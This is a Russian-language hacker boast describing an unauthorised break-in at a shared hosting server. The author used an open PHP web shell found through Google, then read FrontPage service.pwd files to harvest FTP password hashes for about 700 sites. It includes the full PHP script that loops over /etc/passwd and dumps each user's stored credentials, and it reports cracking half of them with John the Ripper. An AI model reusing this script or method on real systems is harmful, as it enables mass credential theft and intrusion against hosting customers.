Все началось с того, что мне нужен был быстрый рутовый шелл для своих грязных целей =)
Особо не напрягаясь я ввел в гугл такой запрос "PhpRemoteView".В ответ
были даны сотни ссылок с незапаролеными веб-шеллами.
Я выбрал одну из них, команда "uname -a" показала, что сервер защищен фряхой 4.11.Как ты наверное знаешь, публичных сплойтов для этой версии нету,
сканировать сервисы сервера nmap'ом я не стал,
а поискал более изощренные выходы из этой ситуации.
Зайдя в папку "_vti_cnf" я нашел открытый для чтения файл service.pwd в котором лежал DES-пароль от фтп-доступа.
Через 20 минут джоник удачно справился со своей работой.
Я удачно законектился на фтп, но это не была моя цель 🙂
Каталог /etc/vmail показал, что на этом сервере
хостится много сайтов, все признаки указывали на хостинг.
Хостинг так хостинг, все равно взломаю =) Решив проверить доступно ли чтение чужих каталогов с правами
apache я огорчился, доступ был закрыт 🙁 Тогда я попробовал
следующую вещь: взяв произвольный логин из /etc/passwd я выполнил команду "cat
/home/vasya/public_html/_vti_cnf/service.pwd". И в результате я увидел.....сам догадайся что =) Правильно,
зашифрованый пароль от фтп. На сервере было около 700 сайтов,
поэтому ручная верстка всех паролей заняла бы очень много времени %), тем более что мы,
хакеры, очень ленивый народ =) Тогда я написал небольшой эксплойт на PHP который будет брать построчно логин из файла
/etc/passwd, читать файл service.pwd в домашнем каталоге пользователя и записывать результат в файл.
Вот исходник скрипта (скачать его ты сможешь здесь:
http://www.ru24-team.net/exploits/1.php.txt)
<?
// FrontPage Exploit by Nitrex v 1.0
// www.Ru24-Team.net
// Enjoy 😉
// Узнаем путь
$p=getenv("DOCUMENT_ROOT");
if(exec("cat /etc/passwd")){
$ex=explode("/", $p);
$do_login=substr($p,0,strpos($p,$ex[2]));
$next_login=substr($p,strpos($p,$ex[2])+strlen($ex[2]));
exec("cat /etc/passwd", $passwd);
for($i=0; $i<=count($passwd); $i++) {
$xz=explode(":", $passwd[$i]);
$file="/".$do_login.$xz[0].$next_login."/_vti_pvt/service.pwd";
if(exec("cat ".$file)){
exec("cat ".$file,$open);
$a=$open[count($open)-1];
$fr=strpos($a, ":");
$open1=substr($a, $fr);
if($xz[4]=='') {
$file1="/".$do_login.$xz[0].$next_login."/_vti_pvt/.htaccess";
Unset($domain);
exec("cat ".$file1,$domain);
$domain1=explode(" ",$domain[8]);
$xz[4]=$domain1[1];
}
echo $xz[0].$open1.":".$xz[2].":".$xz[3].":".$xz[4].":".$xz[5].":".$xz[6]."<br>";
} }
}
elseif(is_file("/etc/passwd")){
$ex=explode("/", $p);
$passwd="/etc/passwd";
echo "Путь: ".$p."<br>";
$do_login=substr($p,0,strpos($p,$ex[2]));
$next_login=substr($p,strpos($p,$ex[2])+strlen($ex[2]));
if(is_file($passwd)) {
$open=fopen($passwd,"r");
while (!feof($open)) {
$str=fgets($open, 100);
$mas=explode(":", $str);
$file="/".$do_login.$mas[0]."/".$next_login."/_vti_pvt/service.pwd";
if(is_file($file)) {
echo $mas[0];
$open1=fopen($file, "r");
$str1=fread($open1,filesize($file));
fclose($open1);
$fr=strpos($str1, ":");
$str2=substr($str1, $fr);
$str2=rtrim($str2);
//
if($mas[4]=='') {
$file1="/".$do_login.$mas[0]."/".$next_login."/_vti_pvt/.htaccess";
$open2=fopen($file1,"r");
$domain=fread($open2,filesize($file1));
fclose($open2);
$domain1=substr($domain,106,110);
$domain2=explode("AuthUserFile",$domain1);
$mas[4]=$domain2[0];
}
//
echo $str2.":".$mas[2].":".$mas[3].":".$mas[4].":".$mas[5].":".$mas[6]."<br>";
}
}
fclose($open);
}
}
else{
echo "С пассам облом :(((";
}
?>
Через минуту после запуска скрипта я получил все логины и пароли сайтов хостера.
50% всех паролей удачно расшифровал John The Ripper.
Хоть я и не получил рута, зато я получил базу хостера.
Вот так вот. Простые знания языков программирования облегчают работу хакеру =)
Бывай!
[[ Hacked by Nitrex ( nitrex@rambler.ru ) ]]
[[ www.Ru24-Team.net ]]